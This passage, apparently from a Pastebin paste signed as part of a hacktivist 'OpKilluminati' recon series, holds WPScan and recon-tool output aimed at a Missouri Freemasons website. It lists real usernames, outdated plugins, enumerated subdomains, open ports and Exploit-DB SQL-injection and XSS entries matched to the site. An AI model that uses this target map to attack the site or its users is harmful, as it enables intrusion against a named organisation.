  4273. | Confirmed By: Urls In 404 Page (Passive Detection)
  4274. |
  4275. | Version: 3.1.17 (100% confidence)
  4276. | Found By: Readme - Stable Tag (Aggressive Detection)
  4277. | - http://momason.org/wp-content/plugins/responsive-menu-pro/readme.txt
  4278. | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
  4279. | - http://momason.org/wp-content/plugins/responsive-menu-pro/readme.txt
  4280.  
  4281. [+] tablepress
  4282. | Location: http://momason.org/wp-content/plugins/tablepress/
  4283. | Last Updated: 2020-04-01T08:54:00.000Z
  4284. | [!] The version is out of date, the latest version is 1.11
  4285. |
  4286. | Found By: Urls In Homepage (Passive Detection)
  4287. | Confirmed By: Urls In 404 Page (Passive Detection)
  4288. |
  4289. | Version: 1.9.1 (90% confidence)
  4290. | Found By: Query Parameter (Passive Detection)
  4291. | - http://momason.org/wp-content/plugins/tablepress/css/default.min.css?ver=1.9.1
  4292. | Confirmed By: Readme - Stable Tag (Aggressive Detection)
  4293. | - http://momason.org/wp-content/plugins/tablepress/readme.txt
  4294.  
  4295. [+] wp-pagenavi
  4296. | Location: http://momason.org/wp-content/plugins/wp-pagenavi/
  4297. | Last Updated: 2020-03-29T04:29:00.000Z
  4298. | [!] The version is out of date, the latest version is 2.93.3
  4299. |
  4300. | Found By: Urls In Homepage (Passive Detection)
  4301. | Confirmed By: Urls In 404 Page (Passive Detection)
  4302. |
  4303. | Version: 2.93 (80% confidence)
  4304. | Found By: Readme - Stable Tag (Aggressive Detection)
  4305. | - http://momason.org/wp-content/plugins/wp-pagenavi/readme.txt
  4306.  
  4307. [+] Enumerating Config Backups (via Passive and Aggressive Methods)
  4308. Checking Config Backups - Time: 00:00:07 <=============> (21 / 21) 100.00% Time: 00:00:07
  4309.  
  4310. [i] No Config Backups Found.
  4311.  
  4312. [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
  4313. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
  4314.  
  4315. [+] Finished: Fri Apr 24 15:47:00 2020
  4316. [+] Requests Done: 69
  4317. [+] Cached Requests: 7
  4318. [+] Data Sent: 15.098 KB
  4319. [+] Data Received: 562.967 KB
  4320. [+] Memory used: 209.961 MB
  4321. [+] Elapsed time: 00:00:46
  4322. #####################################################################################################################################
  4323. [+] URL: http://momason.org/ [45.40.155.175]
  4324. [+] Started: Fri Apr 24 15:46:20 2020
  4325.  
  4326. Interesting Finding(s):
  4327.  
  4328. [+] Headers
  4329. | Interesting Entries:
  4330. | - X-Cacheable: YES:Forced
  4331. | - X-Cache-Hit: HIT
  4332. | - X-Backend: all_requests
  4333. | Found By: Headers (Passive Detection)
  4334. | Confidence: 100%
  4335.  
  4336. [+] http://momason.org/robots.txt
  4337. | Found By: Robots Txt (Aggressive Detection)
  4338. | Confidence: 100%
  4339.  
  4340. [+] XML-RPC seems to be enabled: http://momason.org/xmlrpc.php
  4341. | Found By: Link Tag (Passive Detection)
  4342. | Confidence: 100%
  4343. | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
  4344. | References:
  4345. | - http://codex.wordpress.org/XML-RPC_Pingback_API
  4346. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  4347. | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  4348. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  4349. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
  4350.  
  4351. [+] http://momason.org/readme.html
  4352. | Found By: Direct Access (Aggressive Detection)
  4353. | Confidence: 100%
  4354.  
  4355. [+] This site has 'Must Use Plugins': http://momason.org/wp-content/mu-plugins/
  4356. | Found By: Direct Access (Aggressive Detection)
  4357. | Confidence: 80%
  4358. | Reference: http://codex.wordpress.org/Must_Use_Plugins
  4359.  
  4360. [+] The external WP-Cron seems to be enabled: http://momason.org/wp-cron.php
  4361. | Found By: Direct Access (Aggressive Detection)
  4362. | Confidence: 60%
  4363. | References:
  4364. | - https://www.iplocation.net/defend-wordpress-from-ddos
  4365. | - https://github.com/wpscanteam/wpscan/issues/1299
  4366.  
  4367. [+] WordPress version 5.4 identified (Latest, released on 2020-03-31).
  4368. | Found By: Rss Generator (Passive Detection)
  4369. | - http://momason.org/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4370. | - http://momason.org/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4371. | - http://momason.org/home/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4372.  
  4373. [+] WordPress theme in use: molodge
  4374. | Location: http://momason.org/wp-content/themes/molodge/
  4375. | [!] An error log file has been found: http://momason.org/wp-content/themes/molodge/error_log
  4376. | Style URL: http://momason.org/wp-content/themes/molodge/style.css?ver=2013-07-18
  4377. | Style Name: PresenceBuilders Theme2
  4378. | Style URI: http://presencebuilders.com
  4379. | Description: 2014 Single Page Theme for PresenceBuilders...
  4380. | Author: Online Presence Builders
  4381. | Author URI: http://presencebuilders.com
  4382. |
  4383. | Found By: Css Style In Homepage (Passive Detection)
  4384. | Confirmed By: Css Style In 404 Page (Passive Detection)
  4385. |
  4386. | The version could not be determined.
  4387.  
  4388. [+] Enumerating Users (via Passive and Aggressive Methods)
  4389. Brute Forcing Author IDs - Time: 00:00:13 <==> (10 / 10) 100.00% Time: 00:00:13
  4390.  
  4391. [i] User(s) Identified:
  4392.  
  4393. [+] Randy Davis
  4394. | Found By: Rss Generator (Passive Detection)
  4395. | Confirmed By: Rss Generator (Aggressive Detection)
  4396.  
  4397. [+] Jeffrey Pennington
  4398. | Found By: Rss Generator (Passive Detection)
  4399. | Confirmed By: Rss Generator (Aggressive Detection)
  4400.  
  4401. [+] grandsecretary
  4402. | Found By: Wp Json Api (Aggressive Detection)
  4403. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4404. | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4405.  
  4406. [+] kevinfuller
  4407. | Found By: Wp Json Api (Aggressive Detection)
  4408. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4409. | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4410.  
  4411. [+] presencebuilders
  4412. | Found By: Wp Json Api (Aggressive Detection)
  4413. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4414. | Confirmed By:
  4415. | Oembed API - Author URL (Aggressive Detection)
  4416. | - http://momason.org/wp-json/oembed/1.0/embed?url=http://momason.org/&format=json
  4417. | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4418.  
  4419. [+] randydavis
  4420. | Found By: Wp Json Api (Aggressive Detection)
  4421. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4422. | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4423.  
  4424. [+] melissa
  4425. | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4426.  
  4427. [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
  4428. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
  4429.  
  4430. [+] Finished: Fri Apr 24 15:47:10 2020
  4431. [+] Requests Done: 46
  4432. [+] Cached Requests: 20
  4433. [+] Data Sent: 11.609 KB
  4434. [+] Data Received: 780.234 KB
  4435. [+] Memory used: 118.352 MB
  4436. [+] Elapsed time: 00:00:49
  4437. #####################################################################################################################################
  4438. [+] URL: http://momason.org/ [45.40.155.175]
  4439. [+] Started: Fri Apr 24 16:06:37 2020
  4440.  
  4441. Interesting Finding(s):
  4442.  
  4443. [+] Headers
  4444. | Interesting Entries:
  4445. | - X-Cacheable: YES:Forced
  4446. | - X-Cache-Hit: HIT
  4447. | - X-Backend: all_requests
  4448. | Found By: Headers (Passive Detection)
  4449. | Confidence: 100%
  4450.  
  4451. [+] http://momason.org/robots.txt
  4452. | Found By: Robots Txt (Aggressive Detection)
  4453. | Confidence: 100%
  4454.  
  4455. [+] XML-RPC seems to be enabled: http://momason.org/xmlrpc.php
  4456. | Found By: Link Tag (Passive Detection)
  4457. | Confidence: 30%
  4458. | References:
  4459. | - http://codex.wordpress.org/XML-RPC_Pingback_API
  4460. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  4461. | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  4462. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  4463. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
  4464.  
  4465. [+] http://momason.org/readme.html
  4466. | Found By: Direct Access (Aggressive Detection)
  4467. | Confidence: 100%
  4468.  
  4469. [+] This site has 'Must Use Plugins': http://momason.org/wp-content/mu-plugins/
  4470. | Found By: Direct Access (Aggressive Detection)
  4471. | Confidence: 80%
  4472. | Reference: http://codex.wordpress.org/Must_Use_Plugins
  4473.  
  4474. [+] The external WP-Cron seems to be enabled: http://momason.org/wp-cron.php
  4475. | Found By: Direct Access (Aggressive Detection)
  4476. | Confidence: 60%
  4477. | References:
  4478. | - https://www.iplocation.net/defend-wordpress-from-ddos
  4479. | - https://github.com/wpscanteam/wpscan/issues/1299
  4480.  
  4481. [+] WordPress version 5.4 identified (Latest, released on 2020-03-31).
  4482. | Found By: Rss Generator (Passive Detection)
  4483. | - http://momason.org/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4484. | - http://momason.org/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4485. | - http://momason.org/home/feed/, <generator>https://wordpress.org/?v=5.4</generator>
  4486.  
  4487. [+] WordPress theme in use: molodge
  4488. | Location: http://momason.org/wp-content/themes/molodge/
  4489. | [!] An error log file has been found: http://momason.org/wp-content/themes/molodge/error_log
  4490. | Style URL: http://momason.org/wp-content/themes/molodge/style.css?ver=2013-07-18
  4491. | Style Name: PresenceBuilders Theme2
  4492. | Style URI: http://presencebuilders.com
  4493. | Description: 2014 Single Page Theme for PresenceBuilders...
  4494. | Author: Online Presence Builders
  4495. | Author URI: http://presencebuilders.com
  4496. |
  4497. | Found By: Css Style In Homepage (Passive Detection)
  4498. | Confirmed By: Css Style In 404 Page (Passive Detection)
  4499. |
  4500. | The version could not be determined.
  4501.  
  4502. [+] Enumerating Users (via Passive and Aggressive Methods)
  4503. Brute Forcing Author IDs - Time: 00:00:07 <============> (10 / 10) 100.00% Time: 00:00:07
  4504.  
  4505. [i] User(s) Identified:
  4506.  
  4507. [+] Randy Davis
  4508. | Found By: Rss Generator (Passive Detection)
  4509. | Confirmed By: Rss Generator (Aggressive Detection)
  4510.  
  4511. [+] Jeffrey Pennington
  4512. | Found By: Rss Generator (Passive Detection)
  4513. | Confirmed By: Rss Generator (Aggressive Detection)
  4514.  
  4515. [+] grandsecretary
  4516. | Found By: Wp Json Api (Aggressive Detection)
  4517. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4518. | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4519.  
  4520. [+] kevinfuller
  4521. | Found By: Wp Json Api (Aggressive Detection)
  4522. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4523. | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4524.  
  4525. [+] presencebuilders
  4526. | Found By: Wp Json Api (Aggressive Detection)
  4527. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4528. | Confirmed By:
  4529. | Oembed API - Author URL (Aggressive Detection)
  4530. | - http://momason.org/wp-json/oembed/1.0/embed?url=http://momason.org/&format=json
  4531. | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4532.  
  4533. [+] randydavis
  4534. | Found By: Wp Json Api (Aggressive Detection)
  4535. | - http://momason.org/wp-json/wp/v2/users/?per_page=100&page=1
  4536. | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4537.  
  4538. [+] melissa
  4539. | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  4540.  
  4541. [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
  4542. [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
  4543.  
  4544. [+] Finished: Fri Apr 24 16:07:19 2020
  4545. [+] Requests Done: 58
  4546. [+] Cached Requests: 8
  4547. [+] Data Sent: 14.692 KB
  4548. [+] Data Received: 955.351 KB
  4549. [+] Memory used: 118.867 MB
  4550. [+] Elapsed time: 00:00:41
  4551. ######################################################################################################################################
  4552. [INFO] ------TARGET info------
  4553. [*] TARGET: http://momason.org/
  4554. [*] TARGET IP: 45.40.155.175
  4555. [INFO] NO load balancer detected for momason.org...
  4556. [*] DNS servers: NS93.WORLDNIC.COM.
  4557. [*] TARGET server:
  4558. [*] CC: US
  4559. [*] Country: United States
  4560. [*] RegionCode: AZ
  4561. [*] RegionName: Arizona
  4562. [*] City: Scottsdale
  4563. [*] ASN: AS26496
  4564. [*] BGP_PREFIX: 45.40.128.0/18
  4565. [*] ISP: AS-26496-GO-DADDY-COM-LLC, US
  4566. [INFO] DNS enumeration:
  4567. [*] ad.momason.org 45.40.155.175
  4568. [*] admin.momason.org 45.40.155.175
  4569. [*] ads.momason.org 45.40.155.175
  4570. [*] alpha.momason.org 45.40.155.175
  4571. [*] api.momason.org 45.40.155.175
  4572. [*] api-online.momason.org 45.40.155.175
  4573. [*] apolo.momason.org 45.40.155.175
  4574. [*] app.momason.org 45.40.155.175
  4575. [*] beta.momason.org 45.40.155.175
  4576. [*] bi.momason.org 45.40.155.175
  4577. [*] blog.momason.org 45.40.155.175
  4578. [*] cdn.momason.org 45.40.155.175
  4579. [*] events.momason.org 45.40.155.175
  4580. [*] ex.momason.org 45.40.155.175
  4581. [*] files.momason.org 45.40.155.175
  4582. [*] ftp.momason.org 45.40.155.175
  4583. [*] gateway.momason.org 45.40.155.175
  4584. [*] go.momason.org 45.40.155.175
  4585. [*] help.momason.org 45.40.155.175
  4586. [*] ib.momason.org 45.40.155.175
  4587. [*] images.momason.org 45.40.155.175
  4588. [*] internetbanking.momason.org 45.40.155.175
  4589. [*] intranet.momason.org 45.40.155.175
  4590. [*] jobs.momason.org 45.40.155.175
  4591. [*] join.momason.org 45.40.155.175
  4592. [*] live.momason.org 45.40.155.175
  4593. [*] login.momason.org 45.40.155.175
  4594. [*] m.momason.org 45.40.155.175
  4595. [*] mail.momason.org 45.40.155.175
  4596. [*] mail2.momason.org 45.40.155.175
  4597. [*] mobile.momason.org 45.40.155.175
  4598. [*] moodle.momason.org 45.40.155.175
  4599. [*] mx.momason.org 45.40.155.175
  4600. [*] mx2.momason.org 45.40.155.175
  4601. [*] mx3.momason.org 45.40.155.175
  4602. [*] my.momason.org 13.58.170.99
  4603. [*] new.momason.org 45.40.155.175
  4604. [*] news.momason.org 45.40.155.175
  4605. [*] ns1.momason.org 45.40.155.175
  4606. [*] ns2.momason.org 45.40.155.175
  4607. [*] ns3.momason.org 45.40.155.175
  4608. [*] oauth.momason.org 45.40.155.175
  4609. [*] old.momason.org 45.40.155.175
  4610. [*] one.momason.org 45.40.155.175
  4611. [*] open.momason.org 45.40.155.175
  4612. [*] out.momason.org 45.40.155.175
  4613. [*] outlook.momason.org 45.40.155.175
  4614. [*] portfolio.momason.org 45.40.155.175
  4615. [*] raw.momason.org 45.40.155.175
  4616. [*] repo.momason.org 45.40.155.175
  4617. [*] router.momason.org 45.40.155.175
  4618. [*] search.momason.org 45.40.155.175
  4619. [*] siem.momason.org 45.40.155.175
  4620. [*] slack.momason.org 45.40.155.175
  4621. [*] slackbot.momason.org 45.40.155.175
  4622. [*] snmp.momason.org 45.40.155.175
  4623. [*] stream.momason.org 45.40.155.175
  4624. [*] support.momason.org 45.40.155.175
  4625. [*] syslog.momason.org 45.40.155.175
  4626. [*] tags.momason.org 45.40.155.175
  4627. [*] test.momason.org 45.40.155.175
  4628. [*] upload.momason.org 45.40.155.175
  4629. [*] video.momason.org 45.40.155.175
  4630. [*] vpn.momason.org 45.40.155.175
  4631. [*] webconf.momason.org 45.40.155.175
  4632. [*] webmail.momason.org 45.40.155.175
  4633. [*] webportal.momason.org 45.40.155.175
  4634. [*] wiki.momason.org 45.40.155.175
  4635. [*] www2.momason.org 45.40.155.175
  4636. [*] www3.momason.org 45.40.155.175
  4637. [*] zendesk.momason.org 45.40.155.175
  4638. [INFO] Possible abuse mails are:
  4639. [*] [email protected]
  4640. [*] [email protected]
  4641. [INFO] NO PAC (Proxy Auto Configuration) file FOUND
  4642. [ALERT] robots.txt file FOUND in http://momason.org/robots.txt
  4643. [INFO] Checking for HTTP status codes recursively from http://momason.org/robots.txt
  4644. [INFO] Status code Folders
  4645. [INFO] Starting FUZZing in http://momason.org/FUzZzZzZzZz...
  4646. [INFO] Status code Folders
  4647. [*] 200 http://momason.org/news
  4648. [ALERT] Look in the source code. It may contain passwords
  4649. [INFO] Links found from http://momason.org/ http://45.40.155.175/:
  4650. [*] http://grandviewinitiative.com/
  4651. [*] http://issuu.com/momason/stacks/c66d65ab9ea042fd9c6c51082b9f11d7
  4652. [*] http://mochip.org/
  4653. [*] http://mohome.org/
  4654. [*] http://molor.org/
  4655. [*] http://momason.org/
  4656. [*] http://momason.org/aboutmasonry
  4657. [*] http://momason.org/aboutmasonry/
  4658. [*] http://momason.org/calendar
  4659. [*] http://momason.org/calendar/
  4660. [*] http://momason.org/category/featured-article/
  4661. [*] http://momason.org/comments/feed/
  4662. [*] http://momason.org/contact/
  4663. [*] http://momason.org/#content
  4664. [*] http://momason.org/district-map/
  4665. [*] http://momason.org/feed/
  4666. [*] http://momason.org/home/feed/
  4667. [*] http://momason.org/masonic-minutes/
  4668. [*] http://momason.org/missouri-residency-requirement/
  4669. [*] http://momason.org/news/
  4670. [*] http://momason.org/officers/
  4671. [*] http://momason.org/programs/
  4672. [*] http://momason.org/resources/
  4673. [*] http://momason.org/resources/forms/
  4674. [*] http://momason.org/resources/links/
  4675. [*] http://momason.org/resources/missouri-freemason-magazine/
  4676. [*] http://momason.org/scholarships/
  4677. [*] http://momason.org/wp-content/uploads/2017/09/Stan-Brown-Sm.jpg
  4678. [*] http://momason.org/wp-content/uploads/2019/01/2018-Constitution-and-By-Laws.pdf
  4679. [*] http://momason.org/wp-content/uploads/2020/02/Living-Past-Grand-Masters.pdf
  4680. [*] http://momason.org/wp-json/oembed/1.0/embed?url=http://momason.org/
  4681. [*] http://momason.org/wp-json/oembed/1.0/embed?url=http://momason.org/&format=xml
  4682. [*] http://momason.pastperfect-online.com/40018cgi/mweb.exe?request=ks
  4683. [*] https://my.momason.org/
  4684. [*] https://my.momason.org/public_lodges/inquiry
  4685. [*] https://my.momason.org/users/sign_in
  4686. [*] http://www.facebook.com/Missouri-Freemasons-109616581836/timeline/
  4687. cut: intervalle de champ incorrecte
  4688. Saisissez « cut --help » pour plus d'informations.
  4689. [INFO] Shodan detected the following opened ports on 45.40.155.175:
  4690. [*] 22
  4691. [*] 443
  4692. [*] 80
  4693. [INFO] ------VirusTotal SECTION------
  4694. [INFO] VirusTotal passive DNS only stores address records. The following domains resolved to the given IP address:
  4695. [INFO] Latest URLs hosted in this IP address detected by at least one URL scanner or malicious URL dataset:
  4696. [INFO] Latest files that are not detected by any antivirus solution and were downloaded by VirusTotal from the IP address provided:
  4697. [INFO] ------Alexa Rank SECTION------
  4698. [INFO] Percent of Visitors Rank in Country:
  4699. [INFO] Percent of Search Traffic:
  4700. [INFO] Percent of Unique Visits:
  4701. [INFO] Total Sites Linking In:
  4702. [*] Total Sites
  4703. [INFO] Useful links related to momason.org - 45.40.155.175:
  4704. [*] https://www.virustotal.com/pt/ip-address/45.40.155.175/information/
  4705. [*] https://www.hybrid-analysis.com/search?host=45.40.155.175
  4706. [*] https://www.shodan.io/host/45.40.155.175
  4707. [*] https://www.senderbase.org/lookup/?search_string=45.40.155.175
  4708. [*] https://www.alienvault.com/open-threat-exchange/ip/45.40.155.175
  4709. [*] http://pastebin.com/search?q=45.40.155.175
  4710. [*] http://urlquery.net/search.php?q=45.40.155.175
  4711. [*] http://www.alexa.com/siteinfo/momason.org
  4712. [*] http://www.google.com/safebrowsing/diagnostic?site=momason.org
  4713. [*] https://censys.io/ipv4/45.40.155.175
  4714. [*] https://www.abuseipdb.com/check/45.40.155.175
  4715. [*] https://urlscan.io/search/#45.40.155.175
  4716. [*] https://github.com/search?q=45.40.155.175&type=Code
  4717. [INFO] Useful links related to AS26496 - 45.40.128.0/18:
  4718. [*] http://www.google.com/safebrowsing/diagnostic?site=AS:26496
  4719. [*] https://www.senderbase.org/lookup/?search_string=45.40.128.0/18
  4720. [*] http://bgp.he.net/AS26496
  4721. [*] https://stat.ripe.net/AS26496
  4722. [INFO] Date: 24/04/20 | Time: 16:08:02
  4723. [INFO] Total time: 1 minute(s) and 32 second(s)
  4724. ####################################################################################################################################
  4725. [-] Target: http://momason.org (45.40.155.175)
  4726. [M] Website Not in HTTPS: http://momason.org
  4727. [L] X-Frame-Options: Not Enforced
  4728. [I] Strict-Transport-Security: Not Enforced
  4729. [I] X-Content-Security-Policy: Not Enforced
  4730. [L] Robots.txt Found: http://momason.org/robots.txt
  4731. [I] CMS Detection: WordPress
  4732. [I] Wordpress Version: 5.4
  4733. [I] Wordpress Theme: molodge
  4734. [-] WordPress usernames identified:
  4735. [M] Jeffrey Pennington
  4736. [M] Kevin Fuller
  4737. [M] Melissa Lee
  4738. [M] Online Presence Builders
  4739. [M] Randy Davis
  4740. [M] XML-RPC services are enabled
  4741. [I] Autocomplete Off Not Found: http://momason.org/wp-login.php
  4742. [-] Default WordPress Files:
  4743. [I] http://momason.org/license.txt
  4744. [I] http://momason.org/readme.html
  4745. [I] http://momason.org/wp-content/themes/twentyfourteen/genericons/COPYING.txt
  4746. [I] http://momason.org/wp-content/themes/twentyfourteen/genericons/LICENSE.txt
  4747. [I] http://momason.org/wp-content/themes/twentyfourteen/genericons/README.txt
  4748. [I] http://momason.org/wp-content/themes/twentyfourteen/readme.txt
  4749. [I] http://momason.org/wp-content/themes/twentynineteen/readme.txt
  4750. [I] http://momason.org/wp-content/themes/twentyseventeen/readme.txt
  4751. [I] http://momason.org/wp-content/themes/twentysixteen/genericons/COPYING.txt
  4752. [I] http://momason.org/wp-content/themes/twentysixteen/genericons/LICENSE.txt
  4753. [I] http://momason.org/wp-content/themes/twentysixteen/readme.txt
  4754. [I] http://momason.org/wp-content/themes/twentytwenty/readme.txt
  4755. [I] http://momason.org/wp-includes/ID3/license.commercial.txt
  4756. [I] http://momason.org/wp-includes/ID3/license.txt
  4757. [I] http://momason.org/wp-includes/ID3/readme.txt
  4758. [I] http://momason.org/wp-includes/images/crystal/license.txt
  4759. [I] http://momason.org/wp-includes/js/plupload/license.txt
  4760. [I] http://momason.org/wp-includes/js/swfupload/license.txt
  4761. [I] http://momason.org/wp-includes/js/tinymce/license.txt
  4762. [-] Searching Wordpress Plugins ...
  4763. [I] akismet
  4764. [M] EDB-ID: 37826 "WordPress 3.4.2 - Multiple Path Disclosure Vulnerabilities"
  4765. [M] EDB-ID: 37902 "WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities"
  4766. [I] contact-form-7 v5.0.4
  4767. [I] custom-facebook-feed
  4768. [I] feed
  4769. [M] EDB-ID: 38624 "WordPress Plugin WP Feed - 'nid' SQL Injection"
  4770. [I] ml-slider v3.9.1
  4771. [I] responsive-menu-pro v3.1.17
  4772. [I] tablepress v1.9.1
  4773. [I] wp-pagenavi v2.93
  4774. [I] Checking for Directory Listing Enabled ...
  4775. [-] Date & Time: 24/04/2020 15:56:10
  4776. [-] Completed in: 0:09:49
  4777. ######################################################################################################################################
  4778. Anonymous #OpKilluminati JTSEC Full Recon #42
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!